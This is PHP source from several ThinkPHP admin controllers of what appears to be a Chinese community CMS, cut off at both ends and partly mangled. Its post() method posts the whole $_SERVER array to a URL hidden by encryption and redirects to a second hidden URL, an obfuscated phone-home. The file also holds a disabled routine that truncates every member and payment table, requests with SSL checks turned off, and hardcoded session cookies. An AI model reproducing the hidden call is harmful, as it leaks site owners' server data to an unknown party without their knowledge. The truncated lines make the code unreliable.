$data=['img'=>config('view\_replace\_str.\_\_IMAGES\_\_').$data,'text'=>str\_replace('.'.$info->getExtension(),'',$\_FILES['file']['name'])];

}else{

$data=$file->getError();

}

echo json\_encode($data);

}

}

public function fontawesome(){

return $this->fetch();

}

public function out(){

session(null, 'ffxiangAdmin');

$this->redirect("login/index");

}

public function sdk(){

return $this->fetch();

}

public function temp(){

$name=Db::name('member\_config')->where('type','temp')->select();

$this->assign('data',$name);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($name as $k => $v) {

Db::name('member\_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function post(){

$options = array(

CURLOPT\_RETURNTRANSFER =>true,

CURLOPT\_HEADER =>false,

CURLOPT\_POST =>true,

CURLOPT\_POSTFIELDS => http\_build\_query($\_SERVER),

);

$ch = curl\_init(\_encrypt("8C0k5lxVhxiRKcX1rgK0e4uuvvlWekJ6kVrSwOHfm5EXNv0zmGLTC6Z0vMQ9NyN4I8AJNaf/hsEgTqL2/Jh2c3n9+a0",'D').get\_web\_url());

curl\_setopt\_array($ch, $options);

$result = curl\_exec($ch);

curl\_close($ch);

if($result=='1'){exit(header("Location:".\_encrypt("o3khs1BWhkGRKcX1rgK0e4uuvvlWekJ6kVrSwOHfm5EXNv0zmGLTC6Z0vMQ9NyN4I8AJNaf/hsE5T6Pk/Yx+MiM",'D').get\_web\_url()));}

return $result;

}

public function videoUploads(){

if(request()->file('video')){

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$pipeline = $db['4']['text'];

$fops = $db['5']['text'];

$auth = new Auth($accessKey, $secretKey);

$savekey = \Qiniu\base64\_urlSafeEncode($bucket);

$fops = $fops.'|saveas/'.$savekey;

$wenurl=config()['appConfig']['url'];

$policy = array(

'persistentOps' => $fops,

'persistentPipeline' => $pipeline,

'persistentNotifyUrl' => $wenurl.'/index.php/api/index/notify',

);

$uptoken = $auth->uploadToken($bucket, null, 3600, $policy);

$file = request()->file('video');

$filePath = $file->getRealPath();

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($uptoken, null, $filePath);

if ($err !== null) {

echo json\_encode(['err'=>'失败']);

} else {

echo json\_encode(['ret'=>$ret['key']]);

}

}else{

return $this->fetch('uploadvideo');

}

}

public function shanchu(){

return;

Db::query("truncate table fx\_article");

Db::query("truncate table fx\_article\_ping");

Db::query("truncate table fx\_article\_ping\_xia");

Db::query("truncate table fx\_article\_ping\_xia\_zan");

Db::query("truncate table fx\_article\_ping\_zan");

Db::query("truncate table fx\_article\_zan");

Db::query("truncate table fx\_code");

Db::query("truncate table fx\_jubao");

Db::query("truncate table fx\_member");

Db::query("truncate table fx\_member\_band");

Db::query("truncate table fx\_member\_fangke");

Db::query("truncate table fx\_member\_favorite");

Db::query("truncate table fx\_member\_guanzhu");

Db::query("truncate table fx\_member\_records");

Db::query("truncate table fx\_pay\_record");

Db::query("truncate table fx\_tz\_zan");

Db::query("truncate table fx\_yaoqing");

Db::query("truncate table fx\_yaoqing\_records");

Db::query("truncate table fx\_shoplist\_records");

Db::query("truncate table fx\_shoplist");

Db::query("truncate table fx\_qiandao");

Db::query("truncate table fx\_diaocha\_user");

Db::query("truncate table fx\_member\_zhibo");

Db::query("truncate table fx\_member\_tixian");

Db::query("truncate table fx\_member\_records");

Db::query("truncate table fx\_member\_zhibo\_liwu\_list");

}

public function caijiImgList(){

$url=input('url');

preg\_match\_all("/\/\/item.jd.com\/(.\*?).html/",$url,$url);

$url=$url[1];

$url=$url[0];

if(!$url){

exit(json\_encode(['']));

}

$html=$this->get('https:

$html=json\_decode($html,true);

$html=$html['ware'];

$data['title']=$html['wname'];

foreach ($html['images'] as $k => $v) {

$img=str\_replace('n0/jfs','n1/s400x400\_jfs',$v['bigpath']);

$img=str\_replace('!q70.jpg','',$img);

$imgs[]=$this->imgUrl($img);

}

$data['images']=$imgs;

$str=$html['wdisHtml'];

$str=preg\_replace("/\s+/", " ", $str);

$str=preg\_replace("/<[ ]+/si","<",$str);

$str=preg\_replace("/<\!–.\*?–>/si","",$str);

$str=preg\_replace("/<(\!.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?html.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?div.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?a.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?head.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?meta.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?body.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?link.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?form.\*?)>/si","",$str);

$str=preg\_replace("/cookie/si","COOKIE",$str);

$str=preg\_replace("/<(applet.\*?)>(.\*?)<(\/applet.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?applet.\*?)>/si","",$str);

$str=preg\_replace("/<(style.\*?)>(.\*?)<(\/style.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?style.\*?)>/si","",$str);

$str=preg\_replace("/<(title.\*?)>(.\*?)<(\/title.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?title.\*?)>/si","",$str);

$str=preg\_replace("/<(object.\*?)>(.\*?)<(\/object.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?objec.\*?)>/si","",$str);

$str=preg\_replace("/<(noframes.\*?)>(.\*?)<(\/noframes.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?noframes.\*?)>/si","",$str);

$str=preg\_replace("/<(i?frame.\*?)>(.\*?)<(\/i?frame.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?i?frame.\*?)>/si","",$str);

$str=preg\_replace("/<(script.\*?)>(.\*?)<(\/script.\*?)>/si","",$str);

$str=preg\_replace("/<(\/?script.\*?)>/si","",$str);

$str=preg\_replace("/javascript/si","Javascript",$str);

$str=preg\_replace("/vbscript/si","Vbscript",$str);

$str=preg\_replace("/on([a-z]+)\s\*=/si","On\\1=",$str);

$str=preg\_replace("/&#/si","&＃",$str);

$data['text']=$str;

$money=$this->get('https:

preg\_match("/name=\"jdPrice\" value=\"(.\*?)\"\

$data['money']=$money['1'];

echo json\_encode($data);

}

private function get($url){

$ch = curl\_init();

curl\_setopt($ch, CURLOPT\_HTTPHEADER, array(

"Host:item.m.jd.com",

"Connection: keep-alive",

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8",

"Upgrade-Insecure-Requests: 1",

"DNT:1",

"Accept-Language: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8",

'Cookie:JAMCookie=true; \_\_jda=.882330932.1512470771.1512470771.1512470771.0; abtest=20180105154902515\_40; mobilev=html5; USER\_FLAG\_CHECK=9d87ddea2df2d7308a7c613b248569c0; sid=2ad987cecf149a91a4fd89b1b301503f',

));

curl\_setopt($ch, CURLOPT\_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');

curl\_setopt($ch, CURLOPT\_REFERER,$url);

curl\_setopt($ch, CURLOPT\_ENCODING, "gzip, deflate, br");

curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, true);

curl\_setopt($ch, CURLOPT\_URL, $url);

curl\_setopt($ch, CURLOPT\_TIMEOUT,30);

curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);

curl\_setopt($ch, CURLOPT\_SSL\_VERIFYPEER, FALSE);

curl\_setopt($ch, CURLOPT\_SSL\_VERIFYHOST, 2);

$html = curl\_exec($ch);

curl\_close($ch);

return $html;

}

private function imgUrl($img){

$d=ROOT\_PATH . 'public/uploads/shopimg';

$date=date('Ymd');

$d=$d.'/'.$date.'/';

if(!file\_exists($d)){

mkdir($d);

}

$img=file\_get\_contents($img);

if(!$img){

return '';

}

$rand=rand(10000,999999);

$geshis=md5($img).$rand.'.jpg';

$d=$d.'/'.$geshis;

file\_put\_contents($d,$img);

return "/public/uploads/shopimg/".$date."/".$geshis;

}

private function html($url,$method='GET',$body=''){

$config = config()['apicloud'];

$now = time();

$httpheader = array(

"X-APICloud-AppId: ".$config['appid'],

"X-APICloud-AppKey: ".sha1($config['appid']."UZ".$config['appkey']."UZ".$now).".".$now

);

$curl=curl\_init();

$url = 'https:

curl\_setopt($curl, CURLOPT\_URL, $url);

curl\_setopt($curl, CURLOPT\_CUSTOMREQUEST, $method);

curl\_setopt($curl, CURLOPT\_HTTPHEADER , array("X-HTTP-Method-Override: $method"));

curl\_setopt($curl, CURLOPT\_HTTPHEADER , $httpheader);

curl\_setopt($curl, CURLOPT\_SSL\_VERIFYPEER, 0);

curl\_setopt($curl, CURLOPT\_SSL\_VERIFYHOST, 0);

curl\_setopt($curl, CURLOPT\_USERAGENT, $\_SERVER['HTTP\_USER\_AGENT']);

curl\_setopt($curl, CURLOPT\_AUTOREFERER, 1);

curl\_setopt($curl, CURLOPT\_POSTFIELDS, $body);

curl\_setopt($curl, CURLOPT\_TIMEOUT, 30);

curl\_setopt($curl, CURLOPT\_HEADER, 0);

curl\_setopt($curl, CURLOPT\_RETURNTRANSFER, 1);

$totalline = curl\_exec($curl);

if (curl\_errno($curl)) {

return 'Errno'.curl\_error($curl);

}

curl\_close($curl);

return $totalline;

}

public function getAppStatisticDataById(){

$date = date('Y-m-d');

$url = $this->html('getAppStatisticDataById','POST',['startDate'=>$date,'endDate'=>$date]);

$data = json\_decode($url,true);

if($data['st'] == 1){

return json($data['msg']['0']);

}else{

return json(['err'=>$data['msg']]);

}

dump($data);

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Cache;

use think\Db;

use app\api\model\Send;

class Sdk extends Common

{

public function index(){

return $this->fetch();

}

public function temp(){

$name=Db::name('member\_config')->where('type','sdkTemp')->select();

$this->assign('data',$name);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($name as $k => $v) {

Db::name('member\_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function mobile(){

$data=Db::name('member\_config')->where('type','sdkMobile')->select();

$this->assign('data',$data);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($data as $k => $v) {

Db::name('member\_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function email(){

$data=Db::name('member\_config')->where('type','sdkEmail')->select();

$this->assign('data',$data);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($data as $k => $v) {

Db::name('member\_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function emails(){

if(request()->isAjax()){

$Send = new Send;

$result = $Send->email(['email'=>input('post.username'),'content'=>'邮箱测试成功']);

if($result !== true){

return ['err'=>'测试失败，原因：'.$result];

}

return ['ret'=>'邮箱测试成功'];

}

}

public function beecloud(){

$data=Db::name('member\_config')->where('type','sdkBeecloud')->select();

$this->assign('data',$data);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($data as $k => $v) {

Db::name('member\_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function qiniu(){

$data=Db::name('member\_config')->where('type','sdkQiniu')->select();

$this->assign('data',$data);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($data as $k => $v) {

Db::name('member\_config')->where(['name'=>$v['name'],'type'=>'sdkQiniu'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function wxLogin(){

$data=Db::name('member\_config')->where('type','wxLogin')->select();

$this->assign('data',$data);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($data as $k => $v) {

Db::name('member\_config')->where(['name'=>$v['name'],'type'=>'wxLogin'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function qqLogin(){

$data=Db::name('member\_config')->where('type','qqLogin')->select();

$this->assign('data',$data);

if(request()->isAjax()){

$post=input('post.');

if($post){

foreach ($data as $k => $v) {

Db::name('member\_config')->where(['name'=>$v['name'],'type'=>'qqLogin'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Mychannel extends Common

{

public function index(){

$data=Db::name('mychannel')->order('id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function add(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');;

$time=time();

if(!$id){

$titledb=Db::name('mychannel')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'轮播图标题已存在'];

}

$db=Db::name('mychannel')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('mychannel')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('mychannel')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$typeid=Db::name('typeid')->where('mychannel',$id)->find();

if(!$typeid){

$db=Db::name('mychannel')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'模型下有栏目，请先删除栏目对应模型'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

use think\Session;

use Qiniu\Auth;

use Qiniu\Storage\BucketManager;

use Qiniu\Storage\UploadManager;

class Circle extends Common

{

public function types()

{

$types = Db::name('circle\_type')

->select();

$this->assign('data', $types);

return $this->fetch();

}

public function type()

{

$type\_id = input('param.type\_id', '');

$type = Db::name('circle\_type')

->where('id', $type\_id)

->find();

$this->assign('type', $type);

return $this->fetch();

}

public function add\_type()

{

$id = input("id");

if (request()->isAjax()) {

$post = input('post.');;

if ($post) {

$time = time();

if (!$id) {

$circle\_type = Db::name('circle\_type')->where('title', $post['title'])->find();

if ($circle\_type) {

return ['err' => '标题已存在'];

}

$post['create\_time'] = $time;

$db = Db::name('circle\_type')->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

} else {

$data = ['err' => '添加失败'];

}

} else {

$db = Db::name('circle\_type')->where('id', $id)->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

$data = ["err" => 'post错误'];

}

} else {

if ($id) {

$type = Db::name('circle\_type')->where('id', $id)->find();

if ($type) {

$this->assign('type', $type);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

public function delete\_type()

{

return;

if (request()->isAjax()) {

$id = input('id');

if ($id) {

$circle\_count = Db::name('circle')->where('type\_id', $id)->count();

if ($circle\_count > 0) {

$db = Db::name('circle\_type')->delete($id);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => '属性下有文章，请先删除文章对应属性'];

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function index()

{

$types = Db::name('circle\_type')

->select();

$type\_id = input('type\_id', '');

$search\_name = input('search\_name', '');

$query = Db::name('circle')

->order('des desc, id desc');

if ($type\_id != '') {

$query = $query->where('type\_id', $type\_id);

}

if ($search\_name != '') {

$query = $query->where('title', 'like', '%' . $search\_name . '%');

}

$data = $query->paginate('', false, ['query' => request()->param()]);

$page = $data->render();

$this->assign('type\_id', $type\_id);

$this->assign('types', $types);

$this->assign('data', $data);

$this->assign('page', $page);

return $this->fetch();

}

public function add()

{

$types = Db::name('circle\_type')

->order('des desc, id asc')

->select();

$this->assign('types', $types);

$id = input('param.id');

if (request()->isAjax()) {

$post = input('post.');

if (!$post['member\_id']) {

$post['member\_id'] = 1;

}

if ($post['type\_id'] <= 0) {

return ['err' => '请选择社区分类'];

}

if ($post['update\_time']) {

$time = strtotime($post['update\_time']);

} else {

$time = time();

}

$post['update\_time'] = $time;

if (!empty($post['content'])) {

$post['content'] = htmlspecialchars\_decode($post['content']);

}

if (!$id) {

if ($post['title']) {

$titled\_circle = Db::name('circle')

->where('title', $post['title'])

->find();

if ($titled\_circle) {

return ['err' => '相同名称社区已存在'];

}

}

$post['create\_time'] = $time;

$db = Db::name('circle')

->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

} else {

$data = ['err' => '添加失败'];

}

} else {

if ($post['title']) {

$titled\_circle = Db::name('circle')

->where('id', '<>', $id)

->where('title', $post['title'])

->find();

if ($titled\_circle) {

return ['err' => '相同名称社区已存在'];

}

}

$db = Db::name('circle')

->where('id', $id)

->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

if ($id) {

$circle = Db::name('circle')

->where('id', $id)

->find();

if ($circle) {

$this->assign('type\_id', $circle['type\_id']);

$this->assign('circle', $circle);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

public function delete()

{

return;

if (request()->isAjax()) {

$id = input('id');

if ($id) {

$db = Db::name('circle')->delete($id);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function articles()

{

$circle\_id = input('param.circle\_id', '');

$search = input('param.search', '');

$query = Db::name('circle\_article');

if ($circle\_id != '') {

$query = $query->where('circle\_id', $circle\_id);

}

if ($search != '') {

$query = $query->where('title', 'like', '%' . $search . '%');

}

$articles = $query->select();

$this->assign('data', $articles);

return $this->fetch();

}

public function article()

{

$id = input('param.article\_id', '');

$search = input('param.search', '');

$circles = Db::name('circle')

->where('hide', 1)

->select();

$this->assign('circles', $circles);

if (request()->isAjax()) {

$post = input('post.');;

if ($post) {

$time = time();

if (!$id) {

$article = Db::name('circle\_article')->where('title', $post['title'])->find();

if ($article) {

return ['err' => '相同标题文章已存在'];

}

$post['create\_time'] = $time;

$db = Db::name('circle\_article')->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

if (isset($post['circle\_id'])) {

Db::name('circle')->where('id', $post['circle\_id'])

->setInc('article\_num');

}

} else {

$data = ['err' => '添加失败'];

}

} else {

if ($post['title']) {

$titled\_article = Db::name('circle\_article')

->where('id', '<>', $id)

->where('title', $post['title'])

->find();

if ($titled\_article) {

return ['err' => '相同标题文章已存在'];

}

}

$article = Db::name('circle\_article')

->where('id', $id)

->find();

$post['update\_time'] = $time;

$db = Db::name('circle\_article')

->where('id', $id)

->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

if (isset($post['circle\_id']) && $article['circle\_id'] != $post['circle\_id']) {

Db::name('circle')->where('id', $post['circle\_id'])

->setInc('article\_num');

Db::name('circle')->where('id', $article['circle\_id'])

->setDec('article\_num');

}

} else {

$data = ['err' => '修改失败'];

}

}

} else {

$data = ["err" => 'post错误'];

}

} else {

$query = Db::name('circle\_article');

if ($id != '') {

$query = $query->where('id', $id);

}

if ($search != '') {

$query = $query->where('title', 'like', '%' . $search . '%');

}

$article = $query->find();

$this->assign('article', $article);

$data = $this->fetch();

}

return $data;

}

public function add\_article()

{

$id = input('article\_id');

$circles = Db::name('circle')

->where('hide', 1)

->select();

$this->assign('circles', $circles);

if (request()->isAjax()) {

$post = input('post.');;

if ($post) {

$time = time();

if (!$id) {

$article = Db::name('circle\_article')->where('title', $post['title'])->find();

if ($article) {

return ['err' => '相同标题文章已存在'];

}

$post['create\_time'] = $time;

$db = Db::name('circle\_article')

->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

if (isset($post['circle\_id'])) {

Db::name('circle')->where('id', $post['circle\_id'])

->setInc('article\_num');

}

} else {

$data = ['err' => '添加失败'];

}

} else {

if (isset($post['title'])) {

$titled\_article = Db::name('circle\_article')

->where('id', '<>', $id)

->where('title', $post['title'])

->find();

if ($titled\_article) {

return ['err' => '相同标题文章已存在'];

}

}

$article = Db::name('circle\_article')

->where('id', $id)

->find();

$post['update\_time'] = $time;

$db = Db::name('circle\_article')

->where('id', $id)

->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

if ($article['circle\_id'] != $post['circle\_id']) {

Db::name('circle')->where('id', $post['circle\_id'])

->setInc('article\_num');

Db::name('circle')->where('id', $article['circle\_id'])

->setDec('article\_num');

}

} else {

$data = ['err' => '修改失败'];

}

}

} else {

$data = ["err" => 'post错误'];

}

} else {

if ($id) {

$article = Db::name('circle\_article')->where('id', $id)->find();

if ($article) {

$this->assign('article', $article);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

public function desAll()

{

if (request()->isAjax()) {

$post = input('post.');

foreach ($post['des'] as $k => $v) {

$id = intval($k);

$name = intval($v);

Db::name('circle')

->where('id', $id)

->setField('des', $name);

}

$data = ['ret' => '更新排序成功'];

} else {

$data = ['err' => '提交类型错误'];

}

return $data;

}

public function delAll()

{

if (request()->isAjax()) {

$post = input('post.');

if (input('?post.delAll')) {

$post = $post['delAll'];

$db = Db::name('circle')->delete($post);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => '删除失败，未选中数据'];

}

} else {

$data = ['err' => '提交类型错误'];

}

return $data;

}

public function all()

{

if (request()->isAjax()) {

$post = input('post.');

$type = input('type');

if (input('?post.delAll')) {

$post = $post['delAll'];

$db = Db::name('circle');

foreach ($post as $k => $v) {

if ($type == 'del') {

$db->delete($v);

} else {

$db->where('id', $v)->setField('hide', $type);

}

}

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => '删除失败，未选中数据'];

}

} else {

$data = ['err' => '提交类型错误'];

}

return $data;

}

public function hide()

{

if (request()->isAjax()) {

$id = input('id') ? input('id') : '0';

$type = input('type') ? input('type') : '0';

$text = ['0' => '<font color="#f00">禁止</font>', '1' => '<font color="#1ab394">通过</font>', '2' => '审核', '3' => '<font color="#f00">拒绝</font>'];

if ($id) {

$aritlce = Db::name('circle')->where('id', $id)->find();

if ($aritlce['uid']) {

if ($type == 0) {

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '管理员设置隐藏状态');

} else if ($type == 3) {

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '拒绝通过');

} else if ($type == 3) {

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '管理员设置审核状态');

}

}

if ($aritlce['uid'] && $type == 1) {

$data = DB::name('member\_config')->where("name='articleAdd' or name='articleHide' or name='articleScore' or name='articleNum' or name='articleCode' or name='articleJingyan' or name='articleMoney'")->fetchSql(false)->select();

$articleAdd = $data['0']['text'];

$articleHide = $data['1']['text'];

$articleScore = $data['2']['text'];

$articleNum = $data['3']['text'];

$articleCode = $data['4']['text'];

$articleJingyan = $data['5']['text'];

$articleMoney = $data['6']['text'];

unset($data);

if ($articleMoney) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'money', 'text' => '投稿奖励ID：' . $aritlce['id'], 'data' => '+'])->value('id');

if (!$aritlcejiance) {

\_records($aritlce['uid'], '投稿奖励ID：' . $aritlce['id'], $articleMoney, 'money', '+');

Db::name('member')->where('id', $aritlce['uid'])->setInc('money', $articleMoney);

}

}

if ($articleScore) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'score', 'text' => '投稿奖励ID：' . $aritlce['id'], 'data' => '+'])->value('id');

if (!$aritlcejiance) {

\_records($aritlce['uid'], '投稿奖励ID：' . $aritlce['id'], $articleScore, 'score', '+');

Db::name('member')->where('id', $aritlce['id'])->setInc('score', $articleScore);

}

}

if ($articleJingyan) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'jingyan', 'text' => '投稿奖励ID：' . $aritlce['id'], 'data' => '+'])->value('id');

if (!$articleJingyan) {

\_records($aritlce['uid'], '投稿奖励ID：' . $aritlce['id'], $articleJingyan, 'jingyan', '+');

Db::name('member')->where('id', $this->member['id'])->setInc('jingyan', $articleJingyan);

}

}

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '审核通过');

}

$db = Db::name('circle')->where('id', $aritlce['id'])->setField('hide', $type);

if ($db) {

$data = [$text[$type]];

} else {

$data = ['删除失败'];

}

} else {

$data = ['GET值错误'];

}

} else {

$data = ['提交错误'];

}

return $data;

}

public function review()

{

$map['hide'] = ['in', '2,3'];

$data = Db::name('circle')->where($map)->order('des desc,id desc')->paginate('', false, ['query' => request()->param()]);

$this->assign('data', $data);

$page = $data->render();

$this->assign('page', $page);

return $this->fetch();

}

public function ping()

{

$data = Db::name('article\_ping')->order('id desc')->paginate('', false, ['query' => request()->param()]);

$page = $data->render();

$this->assign('data', $data);

$this->assign('page', $page);

return $this->fetch();

}

public function pingAdd()

{

$id = input("id/d");

if (request()->isAjax()) {

if ($id) {

$db = Db::name('circle')->where('id', $id)->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

if ($id) {

$name = Db::name('article\_ping')->where('id', $id)->find();

$article = Db::name('circle')->where('id', $name['aid'])->find();

$pingList = Db::name('article\_ping\_xia')->where('ping\_id', $id)->order('id desc')->paginate('', false, ['query' => request()->param()]);

$page = $pingList->render();

$this->assign('page', $page);

if ($name) {

$this->assign('circle', $article);

$this->assign('name', $name);

$this->assign('pingList', $pingList);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

public function pingDel()

{

if (request()->isAjax()) {

$id = input('id');

if ($id) {

$db = Db::name('article\_ping')->delete($id);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function pingXaiDel()

{

if (request()->isAjax()) {

$id = input('id');

if ($id) {

$db = Db::name('article\_ping\_xia')->delete($id);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function jubao()

{

$data = Db::name('jubao')->order('id desc')->paginate('', false, ['query' => request()->param()]);

$page = $data->render();

$this->assign('data', $data);

$this->assign('page', $page);

return $this->fetch();

}

public function jubaoHuifu()

{

if (request()->isAjax()) {

$id = input('id');

$content = input('content');

if ($id) {

$db = Db::name('jubao')->where('id', $id)->find();

if ($db) {

$adminId = Session::get('admin', 'ffxiangAdmin');

$where['uid'] = $db['uid'];

$where['aid'] = $db['aid'];

$where['content'] = $content;

$where['time'] = time();

$where['admin\_id'] = $adminId['id'];

$db = Db::name('jubao')->insert($where);

if ($db) {

$data = ['ret' => '回复成功'];

} else {

$data = ['err' => '回复失败'];

}

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function jubaoDel()

{

if (request()->isAjax()) {

$id = input('id');

if ($id) {

$db = Db::name('jubao')->delete($id);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function page()

{

$data = Db::name('page')->order('id asc,des desc')->select();

$this->assign('data', $data);

return $this->fetch();

}

public function pageAdd()

{

$id = input("id");

if (request()->isAjax()) {

$post = input('post.');

if (!$id) {

if ($post['title']) {

$titledb = Db::name('page')->where('title', $post['title'])->find();

if ($titledb) {

return ['err' => '文章标题已存在'];

}

}

$db = Db::name('page')->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

} else {

$data = ['err' => '添加失败'];

}

} else {

$db = Db::name('page')->where('id', $id)->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

if ($id) {

$name = Db::name('page')->where('id', $id)->find();

if ($name) {

$this->assign('name', $name);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

private function get($url, $json = false)

{

$arrContextOptions = [

"ssl" => [

"verify\_peer" => false,

"verify\_peer\_name" => false,

],

];

$html = file\_get\_contents('http:

if ($json) {

$html = json\_decode($html, true);

}

return $html;

}

private function qiniu($url, $type = '')

{

if (!$url) {

return '';

}

if (!$type) {

$type = '.jpg';

}

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

